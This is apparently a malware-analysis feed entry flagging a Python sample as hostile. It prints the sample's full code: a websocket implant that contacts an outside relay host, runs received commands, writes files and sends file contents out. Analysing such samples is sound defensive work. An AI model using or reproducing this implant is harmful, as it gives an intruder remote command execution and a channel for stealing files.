Hostile 100% python Download

relay_tasking.py

Executes commands received through a socketSocket input supplies process argument
SHA-256fa7bec9b44388e734a1e0275f495ca9705ed8e450f6406108c874368a42ba6fb

Also flagged by https://notes.netbytesec.com/feeds/posts/default?alt=rss (Repurposing Orca's ADE Relay as a C2 Transport for a Headless Implant).

Evidence

Socket input supplies write path and bytes lines 1–23
1import base64
2import json
3import subprocess
4from pathlib import Path
5import websockets
6
7CONTROL = "wss://c9.relay.onorca.dev/v1/host/control"
8DATA = "wss://c9.relay.onorca.dev/v1/host/data/"
9
10async def handle(ws):
11 await ws.send(json.dumps({"type": "host-data-auth", "v": 1,
12 "connTicket": "REDACTED", "generation": 1}))
13 while True:
14 task = json.loads(await ws.recv())
15 if task["type"] == "exec":
16 result = subprocess.run(task["argv"], capture_output=True)
17 await ws.send(json.dumps({"stdout": base64.b64encode(result.stdout).decode(),
18 "stderr": base64.b64encode(result.stderr).decode()}))
19 elif task["type"] == "write":
20 Path(task["path"]).write_bytes(base64.b64decode(task["data"]))
21 elif task["type"] == "read":
22 content = Path(task["path"]).read_bytes()
23 await ws.send(json.dumps({"data": base64.b64encode(content).decode()}))

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.